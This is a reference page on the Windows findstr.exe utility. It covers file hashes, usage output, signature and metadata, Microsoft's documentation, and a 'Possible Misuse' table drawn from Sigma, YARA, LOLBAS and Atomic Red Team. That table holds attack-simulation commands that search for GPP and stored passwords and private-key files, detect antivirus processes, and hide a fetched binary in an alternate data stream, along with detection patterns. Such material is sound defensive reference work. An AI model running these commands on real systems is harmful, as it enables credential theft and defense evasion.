findstr.exe

  • File Path: C:\Windows\system32\findstr.exe
  • Description: Find String (QGREP) Utility

Hashes

Type Hash
MD5 DC0816790EFA08AA5B55C1EECFDDB525
SHA1 393F2422D22079BFB0022598D70BEB294F2024F4
SHA256 750AB5E1F3EB18CC42A4A4C7BAB27753F6B26FB9752AD3861833753091044281
SHA384 E93D7C15A9B9A70C84AB2D796A1FE5445A9DDA1C06AAC0E21EF16EF85273FA06A7DC1FAF1639B6BEC9CB33F3DC7BDF0D
SHA512 0DFE914706EFE1C3888636029A00C67E10D8E7B0729F6E46BA27B6EC37617A863BFD7838D4634D0CDCFE7894069F5B549BA70225FC334DAB65276EEAFF17F8E5
SSDEEP 768:Nr9pUJQVmhBubVEvVuVXU9/biWClj9RB8BgS7uTyRe6S9th0lTd:hTuH6bVEqEwNlj9RW7umRdSXh0lTd
IMP A27641A39DA5A6B0717E06BA00E56B7F
PESHA1 3189BD7DEC888728609B901362829FEDA8E88BD8
PE256 B92CF70DF5CE8DC6BE224A520679CF467C7FBEDF54433D9A3B54CCAADA95AE3D

Runtime Data

Usage (stdout):

Searches for strings in files.

FINDSTR [/B] [/E] [/L] [/R] [/S] [/I] [/X] [/V] [/N] [/M] [/O] [/P] [/F:file]
        [/C:string] [/G:file] [/D:dir list] [/A:color attributes] [/OFF[LINE]]
        strings [[drive:][path]filename[ ...]]

  /B         Matches pattern if at the beginning of a line.
  /E         Matches pattern if at the end of a line.
  /L         Uses search strings literally.
  /R         Uses search strings as regular expressions.
  /S         Searches for matching files in the current directory and all
             subdirectories.
  /I         Specifies that the search is not to be case-sensitive.
  /X         Prints lines that match exactly.
  /V         Prints only lines that do not contain a match.
  /N         Prints the line number before each line that matches.
  /M         Prints only the filename if a file contains a match.
  /O         Prints character offset before each matching line.
  /P         Skip files with non-printable characters.
  /OFF[LINE] Do not skip files with offline attribute set.
  /A:attr    Specifies color attribute with two hex digits. See "color /?"
  /F:file    Reads file list from the specified file(/ stands for console).
  /C:string  Uses specified string as a literal search string.
  /G:file    Gets search strings from the specified file(/ stands for console).
  /D:dir     Search a semicolon delimited list of directories
  strings    Text to be searched for.
  [drive:][path]filename
             Specifies a file or files to search.

Use spaces to separate multiple search strings unless the argument is prefixed
with /C.  For example, 'FINDSTR "hello there" x.y' searches for "hello" or
"there" in file x.y.  'FINDSTR /C:"hello there" x.y' searches for
"hello there" in file x.y.

Regular expression quick reference:
  .        Wildcard: any character
  *        Repeat: zero or more occurrences of previous character or class
  ^        Line position: beginning of line
  $        Line position: end of line
  [class]  Character class: any one character in set
  [^class] Inverse class: any one character not in set
  [x-y]    Range: any characters within the specified range
  \x       Escape: literal use of metacharacter x
  \<xyz    Word position: beginning of word
  xyz\>    Word position: end of word

For full information on FINDSTR regular expressions refer to the online Command
Reference.

Usage (stderr):

FINDSTR: /- ignored
FINDSTR: /h ignored
FINDSTR: Bad command line

Child Processes:

conhost.exe

Open Handles:

Path Type
(R-D) C:\Windows\System32\en-US\findstr.exe.mui File
(RW-) C:\Users\user File
\BaseNamedObjects\C:*ProgramData*Microsoft*Windows*Caches*{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000004.db Section
\BaseNamedObjects\C:*ProgramData*Microsoft*Windows*Caches*{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000004.db Section
\BaseNamedObjects\C:*ProgramData*Microsoft*Windows*Caches*cversions.2.ro Section
\BaseNamedObjects\NLS_CodePage_1252_3_2_0_0 Section
\BaseNamedObjects\NLS_CodePage_437_3_2_0_0 Section

Loaded Modules:

Path
C:\Windows\system32\findstr.exe
C:\Windows\System32\GDI32.dll
C:\Windows\System32\gdi32full.dll
C:\Windows\System32\IMM32.DLL
C:\Windows\System32\KERNEL32.DLL
C:\Windows\System32\KERNELBASE.dll
C:\Windows\System32\msvcp_win.dll
C:\Windows\System32\msvcrt.dll
C:\Windows\SYSTEM32\ntdll.dll
C:\Windows\System32\ucrtbase.dll
C:\Windows\System32\user32.dll
C:\Windows\System32\win32u.dll

Signature

  • Status: Signature verified.
  • Serial: 33000001C422B2F79B793DACB20000000001C4
  • Thumbprint: AE9C1AE54763822EEC42474983D8B635116C8452
  • Issuer: CN=Microsoft Windows Production PCA 2011, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
  • Subject: CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US

File Metadata

  • Original Filename: FINDSTR.EXE.MUI
  • Product Name: Microsoft Windows Operating System
  • Company Name: Microsoft Corporation
  • File Version: 10.0.17763.1 (WinBuild.160101.0800)
  • Product Version: 10.0.17763.1
  • Language: English (United States)
  • Legal Copyright: Microsoft Corporation. All rights reserved.
  • Machine Type: 64-bit

File Scan

  • VirusTotal Detections: 0/66
  • VirusTotal Link: https://www.virustotal.com/gui/file/750ab5e1f3eb18cc42a4a4c7bab27753f6b26fb9752ad3861833753091044281/detection/

Possible Misuse

The following table contains possible examples of findstr.exe being misused. While findstr.exe is not inherently malicious, its legitimate functionality can be abused for malicious purposes.

Source Source File Example License
sigma sysmon_suspicious_remote_thread.yml - '\findstr.exe' DRL 1.0
sigma proc_creation_win_automated_collection.yml OriginalFileName: FINDSTR.EXE DRL 1.0
sigma proc_creation_win_discover_private_keys.yml - 'findstr ' DRL 1.0
sigma proc_creation_win_findstr_gpp_passwords.yml title: Findstr GPP Passwords DRL 1.0
sigma proc_creation_win_findstr_gpp_passwords.yml - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1552.006/T1552.006.md#atomic-test-1---gpp-passwords-findstr DRL 1.0
sigma proc_creation_win_findstr_gpp_passwords.yml Image\|endswith: \findstr.exe DRL 1.0
sigma proc_creation_win_susp_findstr.yml title: Abusing Findstr for Defense Evasion DRL 1.0
sigma proc_creation_win_susp_findstr.yml description: Attackers can use findstr to hide their artifacts or search specific strings and evade defense mechanism DRL 1.0
sigma proc_creation_win_susp_findstr.yml - https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/Findstr.yml DRL 1.0
sigma proc_creation_win_susp_findstr.yml - findstr DRL 1.0
sigma proc_creation_win_susp_findstr.yml - Administrative findstr usage DRL 1.0
sigma proc_creation_win_susp_findstr_385201.yml title: Suspicious Findstr 385201 Execution DRL 1.0
sigma proc_creation_win_susp_findstr_385201.yml Image\|endswith: \findstr.exe DRL 1.0
sigma proc_creation_win_susp_findstr_lnk.yml title: Findstr Launching .lnk File DRL 1.0
sigma proc_creation_win_susp_findstr_lnk.yml description: Detects usage of findstr to identify and execute a lnk file as seen within the HHS redirect attack DRL 1.0
sigma proc_creation_win_susp_findstr_lnk.yml Image\|endswith: '\findstr.exe' DRL 1.0
sigma proc_creation_win_susp_spoolsv_child_processes.yml - \findstr.exe DRL 1.0
LOLBAS Findstr.yml Name: Findstr.exe  
LOLBAS Findstr.yml - Command: findstr /V /L W3AllLov3LolBas c:\ADS\file.exe > c:\ADS\file.txt:file.exe  
LOLBAS Findstr.yml - Command: findstr /V /L W3AllLov3LolBas \\webdavserver\folder\file.exe > c:\ADS\file.txt:file.exe  
LOLBAS Findstr.yml - Command: findstr /S /I cpassword \\sysvol\policies\*.xml  
LOLBAS Findstr.yml - Command: findstr /V /L W3AllLov3LolBas \\webdavserver\folder\file.exe > c:\ADS\file.exe  
LOLBAS Findstr.yml - Path: C:\Windows\System32\findstr.exe  
LOLBAS Findstr.yml - Path: C:\Windows\SysWOW64\findstr.exe  
atomic-red-team index.md - Atomic Test #3: Extracting passwords with findstr [windows] MIT License. © 2018 Red Canary
atomic-red-team index.md - Atomic Test #1: GPP Passwords (findstr) [windows] MIT License. © 2018 Red Canary
atomic-red-team windows-index.md - Atomic Test #3: Extracting passwords with findstr [windows] MIT License. © 2018 Red Canary
atomic-red-team windows-index.md - Atomic Test #1: GPP Passwords (findstr) [windows] MIT License. © 2018 Red Canary
atomic-red-team T1003.001.md $LSASS = tasklist | findstr “lsass” MIT License. © 2018 Red Canary
atomic-red-team T1003.003.md reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions /v ProductType | findstr LanmanNT MIT License. © 2018 Red Canary
atomic-red-team T1012.md reg query HKLM\system\currentcontrolset\services /s | findstr ImagePath 2>nul | findstr /Ri “.*.sys$” MIT License. © 2018 Red Canary
atomic-red-team T1018.md $localip = ((ipconfig | findstr [0-9]..)[0]).Split()[-1] MIT License. © 2018 Red Canary
atomic-red-team T1033.md for /F “tokens=1,2” %i in (‘qwinsta /server:#{computer_name} ^| findstr “Active Disc”’) do @echo %i | find /v “#” | find /v “console” || echo %j > computers.txt MIT License. © 2018 Red Canary
atomic-red-team T1033.md @FOR /F %n in (computers.txt) DO @FOR /F “tokens=1,2” %i in (‘qwinsta /server:%n ^| findstr “Active Disc”’) do @echo %i | find /v “#” | find /v “console” || echo %j > usernames.txt MIT License. © 2018 Red Canary
atomic-red-team T1119.md dir c: /b /s .docx | findstr /e .docx MIT License. © 2018 Red Canary
atomic-red-team T1490.md if(!(vssadmin.exe list shadows | findstr “No items found that satisfy the query.”)) { exit 0 } else { exit 1 } MIT License. © 2018 Red Canary
atomic-red-team T1518.001.md tasklist.exe | findstr /i virus MIT License. © 2018 Red Canary
atomic-red-team T1518.001.md tasklist.exe | findstr /i cb MIT License. © 2018 Red Canary
atomic-red-team T1518.001.md tasklist.exe | findstr /i defender MIT License. © 2018 Red Canary
atomic-red-team T1518.001.md tasklist.exe | findstr /i cylance MIT License. © 2018 Red Canary
atomic-red-team T1518.001.md fltmc.exe | findstr.exe 385201 MIT License. © 2018 Red Canary
atomic-red-team T1552.001.md - Atomic Test #3 - Extracting passwords with findstr MIT License. © 2018 Red Canary
atomic-red-team T1552.001.md ## Atomic Test #3 - Extracting passwords with findstr MIT License. © 2018 Red Canary
atomic-red-team T1552.001.md findstr /si pass *.xml *.doc *.txt *.xls MIT License. © 2018 Red Canary
atomic-red-team T1552.004.md dir c:\ /b /s .key | findstr /e .key MIT License. © 2018 Red Canary
atomic-red-team T1552.006.md - Atomic Test #1 - GPP Passwords (findstr) MIT License. © 2018 Red Canary
atomic-red-team T1552.006.md ## Atomic Test #1 - GPP Passwords (findstr) MIT License. © 2018 Red Canary
atomic-red-team T1552.006.md findstr /S cpassword %logonserver%\sysvol*.xml MIT License. © 2018 Red Canary
atomic-red-team T1562.001.md if ((cmd.exe /c “where.exe Sysmon.exe 2> nul | findstr Sysmon 2> nul”) -or (Test-Path $env:Temp\Sysmon\Sysmon.exe)) { exit 0 } else { exit 1 } MIT License. © 2018 Red Canary
atomic-red-team T1562.001.md if(sc.exe query sysmon | findstr sysmon) { exit 0 } else { exit 1 } MIT License. © 2018 Red Canary
atomic-red-team T1562.001.md if(cmd.exe /c “where.exe Sysmon.exe 2> nul | findstr Sysmon 2> nul”) { C:\Windows\Sysmon.exe -accepteula -i } else MIT License. © 2018 Red Canary
atomic-red-team T1562.001.md if(fltmc.exe filters | findstr #{sysmon_driver}) { exit 0 } else { exit 1 } MIT License. © 2018 Red Canary
atomic-red-team T1564.004.md findstr /V /L W3AllLov3DonaldTrump #{path}\procexp.exe > #{path}\file.txt:procexp.exe MIT License. © 2018 Red Canary
signature-base apt_eqgrp_apr17.yar $x1 = “@@for /f "delims=" %%i in (‘findstr /smc:"%s" *.msg’) do if not "%%MsgFile1%%"=="%%i" del /f "%%i"” fullword ascii CC BY-NC 4.0
signature-base apt_lazarus_dec17.yar $x8 = “whoami /groups | findstr /c:"S-1-5-32-544"” fullword ascii CC BY-NC 4.0
signature-base gen_susp_lnk_files.yar $command = “C:\Windows\System32\cmd.exe” fullword ascii //cmd is precursor to findstr CC BY-NC 4.0
signature-base gen_susp_lnk_files.yar $command2 = {2F 00 63 00 20 00 66 00 69 00 6E 00 64 00 73 00 74 00 72} //findstr in hex CC BY-NC 4.0
stockpile de632c2d-a729-4b77-b781-6a6b09c148ba.yml for %i in (\.key \.pgp \.gpg \.ppk \.p12 \.pem \.pfx \.cer \.p7b \.asc) do (dir c:\ /b /s .key \| findstr /e "%i") Apache-2.0

Additional Info*

*The information below is copied from MicrosoftDocs, which is maintained by Microsoft. Available under CC BY 4.0 license.

findstr

Searches for patterns of text in files.

Syntax

findstr [/b] [/e] [/l | /r] [/s] [/i] [/x] [/v] [/n] [/m] [/o] [/p] [/f:<file>] [/c:<string>] [/g:<file>] [/d:<dirlist>] [/a:<colorattribute>] [/off[line]] <strings> [<drive>:][<path>]<filename>[ ...]

Parameters

Parameter Description
/b Matches the text pattern if it is at the beginning of a line.
/e Matches the text pattern if it is at the end of a line.
/l Processes search strings literally.
/r Processes search strings as regular expressions. This is the default setting.
/s Searches the current directory and all subdirectories.
/i Ignores the case of the characters when searching for the string.
/x Prints lines that match exactly.
/v Prints only lines that don’t contain a match.
/n Prints the line number of each line that matches.
/m Prints only the file name if a file contains a match.
/o Prints character offset before each matching line.
/p Skips files with non-printable characters.
/off[line] Does not skip files that have the offline attribute set.
/f:<file> Gets a file list from the specified file.
/c:<string> Uses the specified text as a literal search string.
/g:<file> Gets search strings from the specified file.
/d:<dirlist> Searches the specified list of directories. Each directory must be separated with a semicolon (;), for example dir1;dir2;dir3.
/a:<colorattribute> Specifies color attributes with two hexadecimal digits. Type color /? for additional information.
<strings> Specifies the text to search for in filename. Required.
[\<drive>:][<path>]<filename>[...] Specifies the location and file or files to search. At least one file name is required.
/? Displays Help at the command prompt.
Remarks

  • All findstr command-line options must precede strings and filename in the command string.

  • Regular expressions use both literal characters and meta-characters to find patterns of text, rather than exact strings of characters.

    • A literal character is a character that doesn’t have a special meaning in the regular-expression syntax; instead, it matches an occurrence of that character. For example, letters and numbers are literal characters.

    • A meta-character is a symbol with special meaning (an operator or delimiter) in the regular-expression syntax.

      The accepted meta-characters are:

      Meta-character Value
      . Wildcard - Any character
      * Repeat - Zero or more occurrences of the previous character or class.
      ^ Beginning line position - Beginning of the line.
      $ Ending line position - End of the line.
      [class] Character class - Any one character in a set.
      [^class] Inverse class - Any one character not in a set.
      [x-y] Range - Any characters within the specified range.
      \x Escape - Literal use of a meta-character.
      \<string Beginning word position - Beginning of the word.
      string\> Ending word position - End of the word.

      The special characters in regular expression syntax have the most power when you use them together. For example, use the combination of the wildcard character (.) and repeat (*) character to match any string of characters: .*

      Use the following expression as part of a larger expression to match any string beginning with b and ending with ing: b.*ing

  • To search for multiple strings in a set of files, you must create a text file that contains each search criterion on a separate line.

  • Use spaces to separate multiple search strings unless the argument is prefixed with /c.

Examples

To search for hello or there in file x.y, type:

findstr hello there x.y

To search for hello there in file x.y, type:

findstr /c:"hello there" x.y

To find all occurrences of the word Windows (with an initial capital letter W) in the file proposal.txt, type:

findstr Windows proposal.txt

To search every file in the current directory and all subdirectories that contained the word Windows, regardless of the letter case, type:

findstr /s /i Windows *.*

To find all occurrences of lines that begin with FOR and are preceded by zero or more spaces (as in a computer program loop), and to display the line number where each occurrence is found, type:

findstr /b /n /r /c:^ *FOR *.bas

To list the exact files that you want to search in a text file, use the search criteria in the file stringlist.txt, to search the files listed in filelist.txt, and then to store the results in the file results.out, type:

findstr /g:stringlist.txt /f:filelist.txt > results.out

To list every file containing the word computer within the current directory and all subdirectories, regardless of case, type:

findstr /s /i /m \<computer\> *.*

To list every file containing the word computer and any other words that begin with comp, (such as compliment and compete), type:

findstr /s /i /m \<comp.* *.*

Additional References

MIT License. Copyright (c) 2020-2021 Strontic.